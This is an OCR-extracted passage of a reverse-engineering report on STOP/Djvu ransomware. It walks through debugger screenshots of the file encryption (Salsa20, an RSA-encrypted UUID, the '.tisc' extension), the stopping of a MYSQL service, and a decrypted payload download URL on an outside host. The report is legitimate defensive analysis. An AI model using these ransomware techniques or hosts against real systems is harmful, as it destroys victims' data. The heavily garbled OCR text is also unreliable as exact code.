3: [esp+8] 02CF449C &L"C:\\706d7Fd IEN""
e 4: [esp+C] 02CFD440

.Text:0015FF4D wininet_dump.exe: $FF4D #FF4D -
willl - C . N o — - . = C . & i~ T oo . C o0zD

Figure 114

The files and file extensions mentioned under figure 89 will be skipped. The ransomware also avoids files that

have the “.tisc” extension because this will be appended after the encryption is complete:

53 push ebx ebx:L". X87SW_SF 0 X87SW_P 0 XB7SW.U O
50 push eax - .
E8 7F 1C 01 00 €all wininet_dump.171C02]
oo "l B Default (stdcal)
= 1: [esp] 02D4F343 L"
wininet_dump. 00171C02 2: [espt+4] 02D15ECA L

3: [esp+8] 02CFCBCO
4: [esptC] 02CF449C &L"C:\\706d7 o

. text:0015FF7E wininet_dump. exe: SFF7E #FF7E

& 02D4F348 [L". -ms™
WWoump 1 @Dumpz WiDump3  WWDump4  WMOump5 @ wathi  b=llocals 7 Stuct I e e
. 51 ‘push ecx ecx:L"] XB7SW_SF 0 X87SW_P 0 XB7SW_U 0O

push ea

x
F— €&l wininet_dump. 171C02]
mess moer 5 | Default Gtdeal) -
== 1: [esp] 020534598 L'ntuser.pol™
wininet_dump.00171C02 2: [esp+4] OSBAFB3C L"101.txt"
3: [esp+8] 0D2CFCBCO
s 4: [esp+C] 02CF443C &L"C:\\7o6d7d IR "
. text:D015FFC4 wininet_dump. exe: SFFC4 #FFC4 -
P 02D53498 | L"ntuser.pol”
@Woumpi  @Ypump2  @Yoump3  @Youmpa  YWoumps @ wath1  llocal ) Stuct e A e e
--»e| 0015 53 push ebx b 2 ‘xs7sw_5|= 0 X87SW_P O X87SW_.U O
. 0 push eax i
E1P, E8 0E 1C 01 00 €alliwininet_dump. 171C02 v
o S e oo o , | Default (stdcal) ) ~ |5 [2] ] unlodt
= 1: [esp] 02CBF420 L"
wininet_dump.00171C02 2: [esp+4] 02DISECA L".TXT
3: [esp+8] 02CFCBCO
s 4: [esp+C] 02CF443C &L"C:\\706d7F 0 uu—
.Text:0015FFEF wininet_dump.exe: $FFEF #FFEF LEspEC] A\ N
@ D2CBF420 |L™. Tisc"
@oumpt | Woumpz  WHoumps  Whoumps  @houmps | @wathi  eloals P stue [ o s

Figure 115

Each targeted file is opened using the CreateFileW routine:

Page 29 of 42



https://cybergeeks.tech/a-detailed-analysis-of-the-stop-djvu-ransomware/

. 6A 00 pusn o x87Tagword FFFEF
. gi gg 00 00 00 PUSR Bo XKB7TW_O 3 (Empty) X87TW_1 3 (Empty)
> o (Bt x87TW_2 3 (Empty) x87TW_3 3 (Empty)
5 e ot x87TW_4 3 (Empty) x87TW_5 3 (Empty)
. 68 00 00 00 CO push CO000000 XB7TTW.6 3 (Empty)  x87TW_7 3 (Empty)
. 88 F3 mov edi,ecx
. 89 5D 90 mov dword ptr ss:[febp-70J,ebx [ebp-7C x875tatusWord 0000
. 53 push ebx ebx:L"C | xB7SW_B O xB7SW.C3 O XB7SW.C2 O
. 89 7D DC mov dword ptr ss:[febp-24],edi x875W_C1 0 xB7SW_CO O XB7SW_ES 0O
®0 21 C7 45 8C 00 00 00 00 mov dword ptr ss:febp-74],0 X87SW_SF O X87SW_P 0 XB7SW_U O
e 00161208 €7 45 FC 00 00 00 00 mov_dword ptr ss:febp-2,0 - =
E—e FF 15 DC_CO 21 00 €all dword ptr ds:[<éCreatefilews] v
. e s =5 5 |Default Gtdcal) ~|[5 1] unlod:
1: &5 02ZD1SE98 L ?OEd?fd_ 101
dword ptr [D021CODC <wininet_dump.&Createrilew>]=<kernel3z.Createrilens EESEL‘] CO000000 o I
[esp+8] 00000001
esp+C]_00000000
.text:0016120F wininet_dump.exe: $1120F #1120F LespicIi

Woumpi  @pump2  WMDump3  @MDump4  WWDumps @ watch1  ellocals ) stuct
Hex ASCIT
01 00 00 00 . ..0n..0n.. AET.
00 00 00 00 . .
Eliegsenzoa ne

Figure 116

20 FL 16 00|C0 CB CF Q2|0
00 00 00 00|00 00 00 00| .
90 00 00 00|00 90 00 00| 1.

00 00 00 00
BOEDOSe0R08

The file content is read by calling the ReadFile function:

- — push 0 Ao im_D 3 \EmpLY)  AS/in_s 3 LEmpLys
. 8 45 EO Tea eax,dword ptr_ss:|[[ebp-20]
. C7 45 EO 00 00 00 00 mov dword ptr ss:[Qebp-20J,0 x87statusword 0000
- 50 push eax X87SW_B 0 x87SW_C3 0 x87sw.C2 O
. 68 05 58 02 00 push 25805 X87SW_C1 0 x87SW_CO 0O X87SW_ES O
. 57 push edi X87SW_SF 0 XB7SW_P 0 X87sW_U o
. 56 push esi ;
ETP FF D3 call ebx ebxiRE: v [= =
. T —— == 5 | Defauit (stical) -
ebx=<kernel32.ReadFile> (7GACELG0) | T ST
3: [esp+8] 00025805
il 4: [esp+C] O5GAFADC
. TeXT: 00161409 wininet_dump.exe:$11409 #11409 T = =

Woump1  @Dump? W4Dump3  WWoump4  WWoump5 @ Watchi  Ie-llocals 4/ Struct
Address | Hex |AscII ]
05560000 [{00] 00 00 nn‘un 00 00 nu‘nn 00 00 un|nu 00 00 un| ................ ‘

Address | Hex | Asciz |
0556000061 62 63 64[65 66 67 68[00 00 00 00f00 00 00 O0[@bcdefah........ |

Figure 117

There is a function call to CryptAcquireContextW (as in figure 72) and another one to CryptCreateHash (as in
figure 73). The malware hashes a buffer that contains the first 5 bytes from the targeted file and the RSA public

key, as shown in figure 118:

0015EB47 6A 00 push 0 X87SW_B 0 x87SW_C3 0 x87sw 2 O
0015EB43 56 push esi X875W_C1 0 x875W_C0 0O x87SW_ES 0O
D015EB4A 57 push edi X87SW_SF 0 x875wW_P 0 x875W_U o
0D15EB4B FF 75 EC push dword ptr ss:[[ebp-14] =
FF 15 18 CO 21 00 €all dword ptr ds:[<acrypTHashData=] ~
T —— = 5 | Default stdcal) ~ |[5_ 2] unock

[esp] 02CECT60 <&CPCreatedashs
[esp+4] 02D10BED
[esp+8] 000001DF
: [esp+C] 00000000

dword ptr [D021C018 <wininet_dump.&CryptHashDatar]=<advapis2.CryptHashDatar

.TEXT:0D01SEB4E wininet_dump.exe: $EB4E #EB4E

02CECT 60
02D10BED

@Woump1  @oump2  WHoumpd  Wlpumps  Bloumps @ wathi  bellecals P Stuct
Hex ASCII ~

0ZD10BEO |61 62 63 64|65 20 20 2D|2D 2D 42 45|47 49 4E 20| BbCdE—-—--| BEGIN m .

02D10BF0(50 55 42 4C|49 43 20 4B|45 59 2D 2D(2D 2D 20 5C|PUBLIC KEY----- N ot bcdefuh

02D10C00|5C 6E 4D 49|49 42 49 6A|41 4E 42 67|6B 71 68 G6B|\NMIIBIjANBgkghk e PR Pry

02D10C10| 69 47 7|20 42 21 51|45 46 41 a1[4F 23 41 s1|iGowoBAQEFAAOCAQ SO IOZOEORED BEGIN PUBLIC KEY- WAAMITBIANBG!

Figure 118

The MD?5 hash value is extracted by calling the CryptGetHashParam routine (0x2 = HP_HASHVAL):

®|| 0O15EBBF €A 00 0 AS/SLALUSKOTT UUUY
e[ no15EBCL 50 eax X87SW_B 0 xB7SW_C3 0 x87SWC2 0O
e[l no15eBc2 57 edi X87SW_C1 0 xB7SW_CO 0 x87SW_ES 0O
e[l 0o15eBCS 8A 02 2 X87SW_SF 0 X87SW_P 0 x87SW_U 0O
o 0015EBCS FF 75 EC dword ptr ss:|[ebp-14] - -
EE—> FF D& esi EEIEOEY v !
N S e > | Defauit (stical) -
= = 1: [esp] 02CEC760 <&CPCreateHash>
esi=<advapi3z.CryptGetHashParam> (73A5FAB0) 3: [espra] 00DDDDDZ
3: [esp+8] 02CF4448
Lyt 4: [esp+C] 058AFSCO
. TeXT:0015EBCS wininet_dump. exe: $EBCS #EBCS

o) 02CEC7E0
Woump1 | @oump2  WHoump3  WHoumps  WMoumps @ watchi  kellocals Y stuct T
Address | Hex ASCII | 95BAFS7C | D2CF4448
0 .

2CF4448 [B0 00 00 nn‘un 00 00 nu‘nn 00 00 un|nu 00 00 00|k ussAFlelm

Address | Hex A
02CF4448|01 6A FB E2[D1 F8 FC AATEG 9A BS B1[54 17 90 14|.7idaNed®=z.usT...

Figure 119

The binary creates a new UUID (16 random bytes) by calling the UuidCreate API (which internally uses
CryptGenRandom):

0015C5D7
0015C508

push eax
mov_esi,ecx
€all dword ptr ds:i[<aUuidCreates]

X87SW_SF O xB87SW_P O X87SW_U O

e e

Default (stdcal) = |[5_2] [ unod
1: [esp] 056AF9B0 &"abcdefgh”

2: [esp+4] 05560000 "abcdefgh™

3: [esp+s] 000005A4

4: [esp+C] 76ES114F kernelbase.7GES1L4F

F1
FF 15 00 €3 21 00

dword ptr [D0Z1C300 <wininet_dump.&UuidCreate>]=<rpcrt4.Uuidcreates

. text:0015C5DA wininet_dump.exe: $CSDA #CSDA

‘056AF9B0 | &"abcdefgh™

T e 4 e _ il . ___ il P — [ v [ e L.

Address | Hex ASCII
056AF9B0|C6 1E 03 32[18 €D 94 45[A2 cC 17 B8[B9 DC 68 5Al£..2.m.Eel. "0hz|

Figure 120
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The process converts the UUID to a string using the UuidToStringA API:

X875W_C1 D XB7SW_CO O X87SW_ES 0
XB7SW_SF 0 XB7SW_P 0 X87SW_U 0
e

e push eax
b o[ ooascsF1 lea eax,dword ptr ss:[fesp+14]
i ellooiscses ush eax
T i i v
e — e s e
. TeXT:0015C5F6 wininet_dump. exe: $C5F6 #CSFE

Default (stdcall) -

2: [esp+4] O56AF9AB
3: [esp+8] 05560000 "abcdefgh"
4: [esp+C] 000005A4

[5 [£]07 uniock

o1 Whomp: Womp3 ot sowps B wesn: ik s SemAces

02D26683
02D26698
02D266A8 0D AB AB AB|AB AB AB AB|AB FE EE FE

Figure 121

. egacacabib

Based on the value generated above, the ransomware constructs the following Salsa20 matrix:

Figure 122

A snippet of the Salsa20 algorithm implemented by the malware is presented below:
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Ll s =]

Lfext:8al5C142

Ltext:ed15C142 loc_15C142:

Jtext: 88150142 add eax, ehbx
Ltext:ealsC14d mov ebx, [ebpt+var_38]
LJText:9815C147 rol eax, 7
Ltext:8815C14A xor [ebptwvar_8], eax
Ltext: 86150140 mov eax, [ebptvar 8]
Ltewt: 88150158 add eax, [ebptvar 18]
Lgext:8815C153 rol eax, 9

Ltext: 88150156 xor [ebptvar_C], eax
Ltext: 88150159 mov eax, [ebp+var_C]
Ltext:8a15C15C add eax, [ebptvar_8]
JText:9815C15F rol eax, @0Dh
Jtext:8e15C162 xor ebx, eax

text: 86815C164 mov eax, [ebptvar (]
Ltext: 88150167 add eax, ebx
Ltext:8815C169 mov [ebptvar_38], ebx
gext:8815C16C ror eax, BEh
.text:8815C16F xor [ebp+var_18], eax
Ltext:eal5C172 mov eax, [ebpt+var_14]
texnt: 88150175 add eax, [ebpt+var_1C]
LAext: 88150178 rol eax, 7
.text:8815C178 xor [ebptvar_ 28], eax
Ltext:8815C17E mov eax, [ebptvar_ 28]
Ltext:8815C181 add eax, [ebptwvar_1C]
Lfext:8815C184 rol eax, 9
Lfext:8815C187 xor esi, eax
Ltext:Bal5C189 mov ebx, [ebpt+var_28]
Ltext:B8l5C18C mov eax, [ebptvar_28]
Jtext:8015C18F add eax, esi

LAext: 868150191 rol eax, @Dh

Ltewt: 88150194 xor [ebptvar_14], eax
Ltext: 88150197 mov eax, [ebptvar_14]
Ltext:8815C194A add eax, esi
Lgext:8815C19C ror eax, BEh
Ltext:8815C19F xor [ebpt+var_1C], eax
Aext:B8l5C1A2 mov eax, [ebptvar_4]
Jtext:8el5C1lAs add eax, ebx
LAext:8815C1A7 rol eax, 7
LAext:8815C1AA xor edx, eax
Ltext:8815C1AC mov eax, [ebptvar_4]
Ltext:8815C1AF add eax, edx
fovk s GARTECIRT Al R a

Figure 123

The process encrypts the file content using the Salsa20 algorithm, however the first 5 bytes from the targeted file
are not encrypted. Based on the strings presented in figure 124 and our analysis of the RSA implementation, we

believe that the malware developers have included the OpenSSL code found at https://github.com/openssl/openssl

(or similar code taken from other projects):
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il s =

Ltext:@81BICEE
Ltext:881B9C8E
Ltext:@81BICEE
gext:@@lBaCoas
Ltext:881B69C98
Jdext:eelBaCcoD
text:@8l1BICoF

loc_1B9CBE:

call sub_lAl638

push 1@2h

push offset aCryptoEngineEn_6 ;
push 1Eh

push 9

Ltext:@91B9CAL call sub_ 124748
Ltext:@881B9CAE mov ecx, [edi]
Ltext:881B9CAE add esp, 1leh
.text:881B9CAE test ecx, ecx
Ltext:@881B9CAD jz loc_1B9D78

oihenginel\eng_table.c”

il e =

Ltext:891AAT7E2 push 64h ; 'd’

Jext i@81AAZDS

Jtext:BBLAATEL push offset aCryptoEngineEn ; Vieryptol\engineiheng_init.c
Jtext:BBLAATEY push 1Eh

Ltext:BR1AATEE push 9

text:@881AATED call sub_1A4748

Jtext:@B1AATI2 add esp, 1leh

Ltext:8eIAIDdE push es]

Ltext: 88141041 push gh ; "« ; int

Ltext:@881A1D46 push offset aCryptoRsaRsali ; ".\\crypto\\rsa\\rsa_lib.c"
Ltext:881A1D4B push s8h ;3 "X° ; size t

Ltext: 80141040 call sub_1A4ESR

Ltext:@81A1052 mov esi, eax

text:881A1D54 add esp, @Ch

LAewt:881A1D57 test esi, esi

Ltext:@881A1D59 jnz short loc_1A1D77

I

Jgext:eelAAZDE

Ltext:8elAn2De

Jext:eelAAZDe

text:881AAZDE sub 1AAZDE proc near

Jtext:801AA2D8 mov eax, offset off_25B75%4 ; "Eric Young's PKCS#1 RSA™
Lext:88lAA2DS retn

.text:801AA2DS sub 1AA2D8 endp

Figure 124

7 push 0
A 00 push 0
FF 74 24 28 push dword ptr ss:[esp+25]
FE 74 24 30 push dword ptr ss:[fesp+z0]
55 push ebp
push ebx

53
EB 8B F5 00 00

i

4ok

€all wininet_dump. 1B87F0

The binary encrypts the UUID generated before using the RSA public key embedded in the file:

x87statusword 0000
X87SW_B O XB7SW_CZ 0O XB7SW_CZ O

XB7SW_C1 O XB7SW_CO O XB7SW_ES O
XB7SW_SF O XB7SW_P 0 XB7SW_U o
v
Default (stdcall)
1: [esp] 02018230

wininet_dump.001B87F0

. TexXT:001A9260 wininet_dump.exe: $59260 #59260

W pump 1 B watch 1 ) struet
Address

02CD6FDE
02CD6FES

Address
02CD6FDB
02CD6FES
02CD6FFB
02CD7008
02CD7018
02CD7028
02CD7038
02CD7048
02CD7058
02CD7068
02CD7078
02CD7088
02CD7098
02CD70AB
02CD70BE
02CD70CE

Figure 125

@owmp2  @Woump3  @Moump4 @ Dumps [x=I Locals

Hex
0D FO AD BA[OD FO AD BA[OD FO AD BA[OD FO AD BA
OD FO AD BA|0OD FO AD BA|0OD FO AD BA|OD FO AD BA

"

05 6AF4FC
05 BAFS 00

ASCIT

Hex

7D F8 25 54
DB 28 1A 18
BF D5 8E FF
EF DF F32 DC
€9 77 99 7F
14 4B 26 96
0C 9A BE €B
72 B3 5D 8E
D7 D1 D9 64
BF D8 53 A7
2B BA 14 94
7D 91 B2 A4
BF 4E 5C EG
DA DE A5 36
E5 D2 6F DC
70 7D F9 5F

CO 78 EB C9|08 CC 2C 5A
34 BD 8B DO|BC A7 A2 FF
12 C6 CA Bl

29 57 20 88|D3 GE E9 1A
91 DB 41 39|9A OE 07 12
9B 54 74 D3|60 BC 67 C3
B9 B7 7D 91|43 7B FC 64
78 44 FE 5C|93 85 A7 ES
5C 82 AC B3|F3 29 EB 66
0B 8D 03 O1|CF 55 BO FF
1B DD 27 D1|B2 €D 66 €9

7C 64 76 C7

25 E3 0B EB|r=].xDp’
6F 53 15 9B
22 F3 3A 5D|:05§
0B B0 88 2A|+....
DO B6 EO 9F|}.

6A 64 E2 DA|}

F2 48 66 EA|91 98 6E E6
€2 AA 07 F4[56 97 &F D7
04 ED 98 05(23 2D 2D 55
€8 0A 1E 5D (B85 8D 89 EB
EA 85 E4 D6|ED E1 D5 25

DC 2E 5F CO|a00
D9 26 34 E1

The encrypted content is written to the file using WriteFile, as shown below:
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02D
056AF4F4 | 00000100
056AF4FS | 02D26568

25

00000000
056AF504 | o0oooooo

~ |[5 1] unlod
2: [esp+a] 00000100

3: [esp+B] 02026568 "3203lect-6d18-4594-a2cc-17!
4: [esp+C] 00000025

18230

"32031ec6-6d18-4594-azcc-17babIdcEasa”
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Figure 128

0o

45 CO

44 35 00

a8
15 E8 C1 21 00

48 44 25 00

A4 co 21 00

push 0
Tea eax,dword ptr

ebp- 401
push eax
push w- et_dump. 254448
€&l dword ptr ds:[<&lstrlenas]
push eax
. 254448

S[<awriteriles]

6A 00 pusn o
51 push ecx x875tatusword D000
FF 75 A4 push dword ptr ss:[febp-5C] XB7SW_B X87SW.C3 O xB7SW.C2 O
€7 45 84 00 0D 00 0O mov dword ptr ss:[febp-7c,0 X87SW_C1 O X87SWCO O xB7SW ES 0
50 push X X87SW_SF 0O Xx87SW_P 0 X87SW_U o
56 push esi S =
FF D3 call ebx SBXIWrT v [
= oo 5 |Defaut stdcal) =[5 (] unied
— [esp] 000005AG
cbx=<kernel3z.WriteFile> (7GACEZ50) Tecpr4] 0SGAFA90
[espt8] 00000003
e [esp+C] 056AFABO
. TexXt:00161857 wininet_dump.exe: $11857 #11857 L — =
@Woump1  @pump2  @Woumps  Wloump4  Wpumps @ wathi  k-llocals 2 stuct LEL ] o00000Ad
Address | Hex | AscIT ]
056AFAS0| 24 09 8E 00[AS FA A 0507 0C 17 uu|gn 00 C7 Qg|$ B. uj % c.‘ DAL ot
Figure 126
The malicious binary writes the encrypted UUID using the same API:
| 001615ED A 00 push o
o| 001615EF & 4 co lea ecx,dword ptr ss:[ebp-off x87Statusword 0000
. 1 push ecx X87SW_B 0O XB7SW_C3 O xXB7SW_C2 0O
. push dword ptr ss:[Jebp-saj X87SW_C1 O XB7SW_CO 0O XB7SW_ES O
push eax X87SW_SF 0 XB7SW_P 0 XB7SW_U o
push esi S o=
EIP call ebx BRI v
oo 5 |pefoult (stacal) ~|[s ] unlock
ebx=<kernel3z.writeFile> (7GACEZ50) (T [T
[esp+8] 00000100
e [esp+C] 056AFABC
. TeXT:001615F8 wininet_dump.exe:$115F8 #115F8 = e
@Woump1  @ypump2  Wpumpz  WhDump4  WhDumps @ watch1  lellocals ¢ struct L e 000005 A
056AF9DS | D000D100
JD“Z’::’[:E:;S €9|08 CC 2C 5A|7C 64 76 C7 et 2 PLeDAERRE
02CDEFES DO|6C A7 A2 FF|28 87 EC 63 TR
02CDEFFS FB 6A E2 3B 3
02CDEDAS
02CD7008 6E E9 1A|97 F4 A6 2D 02CFCBCO
02CD7018 OE 07 12|E1 3D 95 23 D er
02CD7028 BC 67 C3|2A 6E 48 7C 61707865
02CD7038 78 FC 64|70 IC 34 06 s
02CD7048 85 A7 E5|25 E3 OB EB 36636531
02CD7058 23 E8 €6|6F 53 15 9B ey
02CD7068 55 BO FF|22 F3 3A 5D 2 aauel
02CD7078 CD 66 C9 0B BO 88 2A 3320646E
02CD7088 98 GE E6 DD B6 ED 9F s
02CD7098 97 6F D7|6A 64 E2 DA 36636531
02CD70A8 20 20 55|E3 00 &D 7g Hrle
02CD7088 D 89 EB DC ZE 5F CO o
02CD70C8 E1 D5 25 D9 26 34 E1 it
Figure 127
The offline ID is also added to the encrypted file:
ABII L FFEFUUUUUUILE 633 B14 EMPLY Tivaliu
el ?::hegx,dwnrd per ss:Hebp-0l X87r2 FFFFB7FFEED3ADT043DE ST2 EmpTy snan
. C6 45 E7 00 mov byte ptr ss:[ebp-19] X87r3 FFFF7DFB25548553EF46 5T3 Empty invalid
. 50 push eax cax:"uF | X87r4 FFFFO4DADSADF4G4EAF4 ST4 EmpTy invalid
. 88 45 DC mov eax,dword ptr ss:[febp-24] X87r5 FFFFDD000D00S643F76C STS Empty invalid
. FF BO 60 08 00 00 push dword ptr ds: [eax+860] XB7r6 FFFF3B27FCB303F156AC ST6 Empty invalid
. 05 50 08 00 00 add eax,ss0 eax:"uF | x87r7 FFFF2DB7DE7D0BOCDI9E ST7 Empty invalid
. 83 EC 18 sub esp,18
- 88 cc BoylSo s cax:vue | X87Tagword eeer
. EE 7F 1A 00 00 €all wininet_dump. 163080 b Egm‘fyg i EETEV%
. 8A 55 E7 mov d1,byte ptr ss:[febp-19] = pTy. = pTY.
8D 4D 94 lea ecx,dword ptr ss:[ebp-acl febp-sc | X87TW_4 3 (EMDTY)  M87TW.5 3 (EmpTy)
. E8 04 12 00 00 ganl wininet_dump. 162840 XB7TW_E 3 (Empty)  X87TW_7 3 (Empty)
. 83 C4 18 add esp,1s
. 83 78 14 10 cmp dword ptr ds:[eax+14],10 word pt xB7Statusword 0000
. v 72 02 b wininet_dump. 161647 XB7SW_E 0 XxB7SW.C3 O XBTSW.C2 O
i 88 00 mov eax,dword ptr ds:[eax] eax: "uF X87SW_C1 0 XBFSW_CO O XB7SW_ES 0O
50 push eax eax: "uF X87SW_SF O X87SW_P 0 X87SW_U O
56 push esi =
FF D3 call ebx EBRINET v |
== gic 5 Ty | Default stdcal -
— 1: [esp. A4
ebx=<kernel32.writeFile> (76ACE250) 2: [@sp+4] 02D58D38 "UFHWN7bIWCKIEEUQSIHISZLArh
3: [esp+8] 00000028
" 4: [esp+C]_05GAFABC
.text: 00161649 wininet_dump. exe:S11649 #11643
@ 00000544
Woump1 | @oump2  §oump3  @4pumpa  @Houmps @ wawhi | [lleals P Stuct 056AF9D4 | 02D58D38 | "UFHWN7 bwCKJEEUQ8IHISZLrwudidHEXSPZHDTL"
05 6AF9D8 | 00000028
:ddressa Hex - ~ 05 GAFaDC
s - wr = Vr‘wr = Vrlr 05 6AF9E0Q | 00000000

The value “{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}” is also added to the encrypted file:

X87TW_6 3 (Empty) XB7TW_7 3 [Empty)

x87s5tatusword 0000

254448
X87SW_B 0 x87SW_C3 0 Xx87sw_C2 0
X87SW_C1 0 x87SW_CO 0O X87SW_ES 0O

254448 X87SW_SF 0 XB87SW_P 0  X87SW_U o
B e

> | Defauit (strical) -

. text: 00161678 wininet_dump.exe: $11678 #11678

dword ptr [0021CDA4 <wininet_dump.&writerile>]=<kernel3z.writerile>

[esp] D0DDOSA4

[esp+4] 00254448 "{36A698B9-D67C-4E07-BEBZ-0F
[esp+8] 00000026

[esp+C] 05GAFABC

P 5A%
Woump 1 Ploump2  WWoump3  WWoumps  Woumps @ wawchi  ellecals P stuc D56AFSD4 | 00254448 | "{36A698B9-D67C-4ED7 -BEB2-0EC5B14B4DF5}"
Address | Hex ASCII | i
02CD6FDS [ED 08 D1 02|00 1D CD 02| EE FE EE FE|EE FE EE FE|8.N.D.1.1P1PiPiD| EFtaEs o

Figure 129

. text:001616D6 wininet_dump.exe: $11606 #116D6

The encrypted file extension is changed to “

.tisc” by the ransomware:

eax
dword ptr ss:[febp-70]
dword ptr ds:[<emoverilews]

push
push

0 X87SW_U

| xe7sw_sF o wa7SW_P

Default (stdcal)

dword ptr [0021C110 <wininet_dump.&Moverilew>]=<kernel3z.Moverilew>

Woump1  @Woump2  Yoump3 W4 Dump 4

44 Dump 5

% Watch 1 Ir=llocals 47 Struct

Page 34 of 42

02D
056AF9ED | 02D!

[esp] 02D15E98 L“C'\\?OM?ﬂT
[esp+4] 02D58D38 L“C:\\706d7fd WL
[esp+8] 02CDEDAS

K
2:
3:
4: [esp+C]_02CDEDAS

8D38
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Figure 130
The encrypted file has the following structure that highlights different elements:

(8 101.bettisc

Offset (h) 00 01 O2 03 04 05 06 07 08 05 0A OB OC OD OE OF

QQ0Q000a0 1 62 63 64 65|24 09 SE|?D Fg 25 54 C0O 7B EB C&5 gbcde$.f}G%Ti{éﬁ
00000010 P& CC 2C SA 7C &4 76 C7 DB 28 1A 4B 34 BD 8B DO .I,Z2|dvCU(.E4*=D
00000020 [6C A7 B2 FF 2B 87 EC &9 BF D5 8E FF 12 Cé& CA Bl| 1Sciy++ii;0F¢.EE+
00000030 6 EE 2A 75 FB 6A E2 3B BF DF F3 DC 28 57 20 88| .i*uhji;:ps0)wWw ~
00000040 D3 6E ES 1A S7 F4 A6 2D C9 77 99 7F 91 DB 41 3% Oné.—4!-Ew™. 'Uag
00000050 |9A OE 07 12 E1 3D S5 295 14 4B 26 56 9B 54 74 D3| 3...&=-).K&—Tch
00000060 |60 BC &7 C3 2A &E 48 7C OC %A BE CB BS B7 7D 91| ‘“ligA+*nH|.3%E: -}
00000070 |49 7B FC €4 70 1C 34 06 72 B3 5D 8E 78 44 FE 5C| I{iidp.4.r*]1ZxDb\
00000080 |93 85 A7 E5 25 E3 OB EB D7 D1 D9 64 5C 82 AC B3| “._§a%i.&xNUd\,-*
00000090 [F3 29 EB8 66 6F 53 15 SB BF D8 53 A7 OB 8D 03 01| o&)efo5.2:05§8....
000000AC0 [OF 55 BO FF 22 F2 34 5D 2B 8A 14 54 1B DD 27 D1 Iu°gmo:]+5.~.1'K
000000BO B2 CD 66 CS OB 80 88 232 7D 91 B2 A4 F2 48 &6 Ea| =Iff.g€-*}  =noHfé
000000CO |91 98 6E E6 DO B6 E0 SF BF 4E 5C E6 C2 AA 07 F4| *"nxbfa¥;M\zld=.d
000000D0 |56 97 6F D7 6 €4 E2 DA DA DE AS 36 04 ED %B 05| V—oxjdaldup¥e.is.
O0O000OEC [23 2D 2D 55 E3 00 60 76 ES D2 6F DC C8 OA 1E SD| #--Ua. vadolE..]
QQQQQQOFQ BS 8D 89 EB DC 2ZE SF CO 70 7D F9 SF EA 85 E4 06 p.héﬁ._ﬁp}ﬁ_émé.
Q0000100 [EO E1 D5 25 DS 26 34 ElHTE 46 48 77 4E 37 62 6A| aal3iUs4duFHwWNTL]
Q0000110 (77 43 6B 4R 45 &5 55 67 38 4A 483 45 53 TA 4C 71| wCkJE=eUgB8JHISzLg
00000120 [72 TT7T TS 64 659 64 48 38 58 T3 S50 TA 48 44 T4 31| rwudidHSXsPzHDCl
00000130 [7B 33 26 41 36 39 328 42 39 2D 44 36 37 43 2D 34| {36RA69BBS-DeTC-4
00000140 ¢5 30 37 2D 42 45 38 32 2D 30 45 43 35 42 31 34 EOT-BEGZ-0ECS5BEl14
00000150 @2 34 44 46 35 TD B4DFS}

Figure 131
“—AutoStart“ parameter
The activity is similar to the case discussed above.
“—~Admin IsNotAutoStart IsNotTask“ parameters

The binary establishes a connection to the service control manager by calling the OpenSCManagerW routine (0x1
= SC_MANAGER_CONNECT):

push 1 X875W_C1L 0 xB875W_CO0 O XB75W_ES O
push 0 XB875W_SF 0 XB7SW_P 1 XB7SW_U o
push 0 :

€all dword ptr ds:[<copenscManagerws]

v
5 [Default (stdcal) ~ |[5_1] (] unod
1: [esp] 000000D0OO

2: [esp+t4] 00000000
3: [esp+s] 00000001
4: [esp+C] 00000000

dword ptr [D021C048 <wininet_dump.&0penscManagerw-]=<advapis2.0penscManagerw>

.TEXt:00161A1D wininet_dump. exe:$11A1D #11A1D

& 00000000
@oump1 | @ypump2 @Dump3  @hoump4  WhDumps @8 watchi | Deellocals ¢ Struct Fﬁﬂmgcgzm 00000000
[addrecs [wax TascTr T « || DO3CEZA4 | 00000001

Figure 132

A service called “MYSQL” is opened by the process via a function call to OpenServiceW (0x20 =
SERVICE_STOP):

A 20 push 20 X87SW_C1 0O XB7SW_CO O XB7SW_ES 0O
68 €8 02 25 00 push wininet_dump.250268 250268: XB87SW_SF O XB7SW_P 1 XB7SW_U o
53 push ebx =
FF 15 44 €O 21 00 call dword ptr 5:[<&Openservicews] v
: 5 |Default (stdcal) ~ |[5 1] (] unlod:
: 1: [esp] 028C26FO
dword ptr [0021C044 <wininet_dump.&Openservicen>]1=<advapis2.0penservicews 2: [espr4] 00250268 L MYsQL"
3: [esp+s] 00000020
ioie 4: [esp+C] 02932078
.text:00161A32 wininet_dump. exe: $11A32 #11A32 2
o) 02BC26F0
@oump1 | @ipump2  Wpumps | BBoump4 | WDumps | @ watchl | -llock | 4P Stt %OM —
laddrecs [ Hax laerTT 1 . || 0D3CE2AD

Figure 133
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Whether the service would exist on a host, the ransomware would stop it using the ControlService API:

il i =

.text:@8161A3E push edi

text:@a81l61A3F lea eax, [ebptServiceStatus]

Ltext: 88161442 push eax ; 1pServiceStatus
Ltext: 88161443 push 1 ; dwControl
Ltext: 88161845 push esi ; hService
text:@al61846 call ds:ControlService

Ltext:8816184C mov edi, ds:CloseserviceHandle
TdextredlelAs2 test eax, eax

text:88161A54 jz short loc_lelAfB

w..-_i_-\.

il i =

Jtext:eelolAse
Ldext:@8l61A59
Ltext:B8161A5A
Ltext:88161A5B
Ltext:eelelisl
Ltext:8elelAe3

lea
push
push
call
test
jz

eax, [ebp+ServiceStatus]
eax

esi ; hSerwvice
ds:QueryServiceStatus
eax, eax

short loc_161A9D

; 1pServiceStatus

Figure 134

The file decrypts another URL that will be used to download more malicious files,
http[:]//znpst[.]top/dl/build2.exe:

| Address | Hex

| ASCII |

D28C6188 74 74 70[3A 2F 2F 7A|GE 7O 73 74(2E 74 6F 7O|Wttp://znpst.top
D28C6198 |2F 64 6C 2F|62 75 69 6C |64 32 2E 65|78 65 24 72| ,/d1/build2.exesr
D28CE1A8 |75 GE 20 68|74 74 7O 3A|2F 2F 73 65|63 75 72 &5 |un http://secure
028C61B8 |62 63 7A 2E|6F 72 67 2F |66 69 6C 6573 2ZF 31 2F|biz.org/Tiles/1/
D28C61C8 |62 75 69 6C|64 33 2E 65|78 65 24 72|75 &E 00 72|build3.exefrun.r
Figure 135
A new thread is created by calling the CreateThread function:
gi gg 32 26 00 5322 u-r-ret_dmp.z@zsa :;;};‘,j ; EE;:EE;j ;;;m:; ; sz;;;i
88 40 04 mov eax,dword ptr ds:[eax+4]
83 Co 08 add eax, 8 x875tatusword 0020
50 push eax X875W_B 0 xB875W_C3 O xB75W_C2 O
65 DO DB 16 00 push net_dump. 16DBDO X875W_C1 O xB75W_CO O XB75W_ES O
